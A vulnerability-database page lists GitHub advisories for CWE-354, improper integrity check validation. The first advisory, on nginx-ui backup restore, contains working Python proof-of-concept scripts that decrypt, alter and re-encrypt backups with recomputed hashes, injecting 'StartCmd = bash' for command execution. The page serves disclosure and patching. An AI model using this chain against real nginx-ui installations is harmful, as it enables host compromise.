Common Weakness Enumeration

CWE-354

Allowed

Improper Validation of Integrity Check Value

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

231 vulnerabilities reference this CWE, most recent first.

GHSA-FHH2-GG7W-GWPQ

Vulnerability from github – Published: 2026-03-30 16:23 – Updated: 2026-07-06 19:35
VLAI
Summary
nginx-ui Backup Restore Allows Tampering with Encrypted Backups
Details

Summary

The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details

The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hash_info.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

  1. Backup files are compressed into nginx-ui.zip and nginx.zip.
  2. The files are encrypted using AES-256-CBC.
  3. SHA-256 hashes of the encrypted files are stored in hash_info.txt.
  4. The hash file is also encrypted with the same AES key and IV.
  5. The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

  • The encryption key is available to the client.
  • The integrity metadata is encrypted with that same key.
  • The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment

  • OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)
  • Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)
  • Deployment: Docker Container default installation
  • Relevant Source Files:
  • backup_crypto.go
  • backup.go
  • restore.go
  • SystemRestoreContent.vue

PoC

  1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file. image

  2. Decrypt the nginx-ui.zip archive using the obtained token.

import base64
import os
import sys
import zipfile
from io import BytesIO
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)

def process_local_backup(file_path, token, output_dir):
    key_b64, iv_b64 = token.split(":")
    os.makedirs(output_dir, exist_ok=True)
    print(f"[*] File processing: {file_path}")

    with zipfile.ZipFile(file_path, 'r') as main_zip:
        main_zip.extractall(output_dir)

    files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in files_to_decrypt:
        path = os.path.join(output_dir, filename)
        if os.path.exists(path):
            with open(path, "rb") as f:
                encrypted = f.read()

            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            out_path = path + ".decrypted"
            with open(out_path, "wb") as f:
                f.write(decrypted)
            print(f"[*] Successfully decrypted: {out_path}")

# Manual config
BACKUP_FILE = "backup-20260314-151959.zip" 
TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
OUTPUT = "decrypted"

if __name__ == "__main__":
    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)
  1. Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash).
  2. Re-compress the files and calculate the new SHA-256 hash.
  3. Update hash_info.txt with the new, legitimate-looking hashes for the modified files.
  4. Encrypt the bundle again using the original Key and IV.
import base64
import hashlib
import os
import zipfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_file(data, key_b64, iv_b64):
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.encrypt(pad(data, AES.block_size))

def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"):
    key_b64, iv_b64 = token.split(":")

    encrypted_blobs = {}
    for fname in files:
        with open(fname, "rb") as f:
            data = f.read()

        blob = encrypt_file(data, key_b64, iv_b64)

        target_name = fname.replace(".decrypted", "")
        encrypted_blobs[target_name] = blob
        print(f"[*] Cipher {target_name}: {len(blob)} bytes")

    hash_content = ""
    for name, blob in encrypted_blobs.items():
        h = hashlib.sha256(blob).hexdigest()
        hash_content += f"{name}: {h}\n"

    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)
    encrypted_blobs["hash_info.txt"] = encrypted_hash_info

    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:
        for name, blob in encrypted_blobs.items():
            zf.writestr(name, blob)

    print(f"\n[*] Backup rebuild: {output_filename}")
    print(f"[*] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if __name__ == "__main__":
    build_rebuilt_backup(FILES, TOKEN)

  1. Upload the tampered backup to the nginx-ui restore interface. image

  2. Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. image

Impact

An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

  • Persistent configuration tampering
  • Backdoor insertion into nginx configuration
  • Execution of attacker-controlled commands depending on configuration settings
  • Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

  1. Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include:
  2. Signing backup metadata using a server-side private key

  3. Storing integrity metadata separately from the backup archive

  4. Enforce integrity verification The restore operation must abort if hash verification fails.

  5. Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.

  6. Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

Severity
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.10-0.20260315015203-f61bcec547c0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-312",
      "CWE-347",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T16:23:34Z",
    "nvd_published_at": "2026-03-30T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    \u003cimg width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" /\u003e\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, \u0027r\u0027) as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   \u003cimg width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" /\u003e\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   \u003cimg width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" /\u003e\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "id": "GHSA-fhh2-gg7w-gwpq",
  "modified": "2026-07-06T19:35:49Z",
  "published": "2026-03-30T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4903"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "nginx-ui Backup Restore Allows Tampering with Encrypted Backups"
}

GHSA-FJCX-XPP3-XG8C

Vulnerability from github – Published: 2022-05-13 01:45 – Updated: 2022-05-13 01:45
VLAI
Details

The Lenovo Service Framework Android application uses a set of nonsecure credentials when performing integrity verification of downloaded applications and/or data. This exposes the application to man-in-the-middle attacks leading to possible remote code execution.

Severity
8.1 (High)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-3760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-17T20:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Lenovo Service Framework Android application uses a set of nonsecure credentials when performing integrity verification of downloaded applications and/or data. This exposes the application to man-in-the-middle attacks leading to possible remote code execution.",
  "id": "GHSA-fjcx-xpp3-xg8c",
  "modified": "2022-05-13T01:45:52Z",
  "published": "2022-05-13T01:45:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3760"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-15374"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FPG8-7664-JC5Q

Vulnerability from github – Published: 2026-07-10 21:43 – Updated: 2026-07-10 21:43
VLAI
Summary
melange: Incomplete package integrity verification allows data section substitution
Details

Previously, Apko verified the control section hash (.PKGINFO etc.) against the signed APKINDEX, but never verified the data section hash (the actual package files that get installed). An attacker who could compromise a mirror, poison a cache, or MITM a package fetch could substitute arbitrary file contents while the control hash check still passed.

Severity
8.3 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "chainguard.dev/apko"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "chainguard.dev/melange"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.50.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54174"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T21:43:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Previously, Apko verified the control section hash (`.PKGINFO` etc.) against the signed `APKINDEX`, but never verified the data section hash (the actual package files that get installed). An attacker who could compromise a mirror, poison a cache, or MITM a package fetch could substitute arbitrary file contents while the control hash check still passed.",
  "id": "GHSA-fpg8-7664-jc5q",
  "modified": "2026-07-10T21:43:05Z",
  "published": "2026-07-10T21:43:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chainguard-dev/melange/security/advisories/GHSA-fpg8-7664-jc5q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chainguard-dev/melange"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "melange: Incomplete package integrity verification allows data section substitution"
}

GHSA-FQ6W-5G5V-6WJ6

Vulnerability from github – Published: 2023-05-10 18:30 – Updated: 2024-04-04 04:01
VLAI
Details

Missing Support for an Integrity Check in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows attackers to update the device with crafted firmware

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-30356"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-10T16:15:12Z",
    "severity": "HIGH"
  },
  "details": "Missing Support for an Integrity Check in Shenzen Tenda Technology IP Camera CP3 V11.10.00.2211041355 allows attackers to update the device with crafted firmware",
  "id": "GHSA-fq6w-5g5v-6wj6",
  "modified": "2024-04-04T04:01:15Z",
  "published": "2023-05-10T18:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30356"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SECloudUNIMORE/ACES/blob/master/Tenda/CP3/tmp_MU.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FR48-WFW6-FWG7

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-05-24 17:48
VLAI
Details

Improper validation of integrity check value vulnerability in NEC Aterm WF1200CR firmware Ver1.3.2 and earlier, Aterm WG1200CR firmware Ver1.3.3 and earlier, and Aterm WG2600HS firmware Ver1.5.1 and earlier allows an attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to a specific URL.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-26T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper validation of integrity check value vulnerability in NEC Aterm WF1200CR firmware Ver1.3.2 and earlier, Aterm WG1200CR firmware Ver1.3.3 and earlier, and Aterm WG2600HS firmware Ver1.5.1 and earlier allows an attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to a specific URL.",
  "id": "GHSA-fr48-wfw6-fwg7",
  "modified": "2022-05-24T17:48:53Z",
  "published": "2022-05-24T17:48:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20709"
    },
    {
      "type": "WEB",
      "url": "https://jpn.nec.com/security-info/secinfo/nv21-010.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN29739718/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G2HM-C743-JQFF

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02
VLAI
Details

In JetBrains TeamCity before 2020.2.3, insufficient checks of the redirect_uri were made during GitHub SSO token exchange.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains TeamCity before 2020.2.3, insufficient checks of the redirect_uri were made during GitHub SSO token exchange.",
  "id": "GHSA-g2hm-c743-jqff",
  "modified": "2022-05-24T19:02:07Z",
  "published": "2022-05-24T19:02:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31913"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G2JF-MR78-35JH

Vulnerability from github – Published: 2024-11-05 12:31 – Updated: 2024-11-07 12:30
VLAI
Details

In 2N Access Commander versions 3.1.1.2 and prior, a local attacker can escalate their privileges in the system which could allow for arbitrary code execution with root permissions.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-05T10:20:05Z",
    "severity": "MODERATE"
  },
  "details": "In 2N Access Commander versions 3.1.1.2 and prior, a local attacker can escalate their privileges in the system which could allow for arbitrary \ncode execution with root permissions.",
  "id": "GHSA-g2jf-mr78-35jh",
  "modified": "2024-11-07T12:30:34Z",
  "published": "2024-11-05T12:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47255"
    },
    {
      "type": "WEB",
      "url": "https://www.2n.com/en-GB/about-2n/cybersecurity"
    },
    {
      "type": "WEB",
      "url": "https://www.2n.com/en-GB/download/Access-Commander-Security-Advisory-2024-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G58R-Q9M8-H26X

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

IBM Security Sevret Server (IBM Security Verify Privilege Manager 10.8.2 ) could allow a local user to execute code due to improper integrity checks. IBM X-Force ID: 184919.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-4610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-25T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "IBM Security Sevret Server (IBM Security Verify Privilege Manager 10.8.2 ) could allow a local user to execute code due to improper integrity checks. IBM X-Force ID: 184919.",
  "id": "GHSA-g58r-q9m8-h26x",
  "modified": "2022-05-24T19:06:18Z",
  "published": "2022-05-24T19:06:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4610"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/184919"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6467047"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G6GR-2X73-GJ6F

Vulnerability from github – Published: 2022-03-04 00:00 – Updated: 2022-03-17 00:04
VLAI
Details

A flaw was found in the Linux SCTP stack. A blind attacker may be able to kill an existing SCTP association through invalid chunks if the attacker knows the IP-addresses and port numbers being used and the attacker can send packets with spoofed IP addresses.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-02T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Linux SCTP stack. A blind attacker may be able to kill an existing SCTP association through invalid chunks if the attacker knows the IP-addresses and port numbers being used and the attacker can send packets with spoofed IP addresses.",
  "id": "GHSA-g6gr-2x73-gj6f",
  "modified": "2022-03-17T00:04:00Z",
  "published": "2022-03-04T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3772"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/32f8807a48ae55be0e76880cfe8607a18b5bb0df"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:1975"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2022:1988"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2021-3772"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2000694"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32f8807a48ae55be0e76880cfe8607a18b5bb0df"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221007-0001"
    },
    {
      "type": "WEB",
      "url": "https://ubuntu.com/security/CVE-2021-3772"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5096"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GG9M-7HF2-HMP9

Vulnerability from github – Published: 2022-05-12 00:01 – Updated: 2022-05-12 00:01
VLAI
Details

On various RAD-ISM-900-EN-* devices by PHOENIX CONTACT an admin user could use the configuration file uploader in the WebUI to execute arbitrary code with root privileges on the OS due to an improper validation of an integrity check value in all versions of the firmware.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-11T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "On various RAD-ISM-900-EN-* devices by PHOENIX CONTACT an admin user could use the configuration file uploader in the WebUI to execute arbitrary code with root privileges on the OS due to an improper validation of an integrity check value in all versions of the firmware.",
  "id": "GHSA-gg9m-7hf2-hmp9",
  "modified": "2022-05-12T00:01:50Z",
